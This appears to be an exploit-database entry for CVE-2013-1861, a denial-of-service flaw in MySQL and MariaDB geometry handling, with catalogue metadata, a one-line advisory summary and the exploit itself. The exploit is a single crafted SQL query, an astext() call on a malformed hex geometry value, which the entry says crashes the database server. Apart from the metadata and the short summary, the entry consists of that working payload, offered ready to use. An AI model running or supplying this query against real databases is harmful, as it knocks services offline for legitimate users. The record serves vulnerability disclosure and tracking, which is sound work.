MySQL / MariaDB - Geometry Query Denial of Service

Author: Alyssa Milburn
type: dos
platform: linux
port: 0
date_added: 2013-03-07
date_updated: 2015-10-03
verified: 1
codes: CVE-2013-1861;OSVDB-91415
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source: https://www.securityfocus.com/bid/58511/info

MySQL and MariaDB are prone to a denial-of-service vulnerability.

An attacker can exploit this issue to crash the database, denying access to legitimate users.

"select astext(0x0100000000030000000100000000000010);"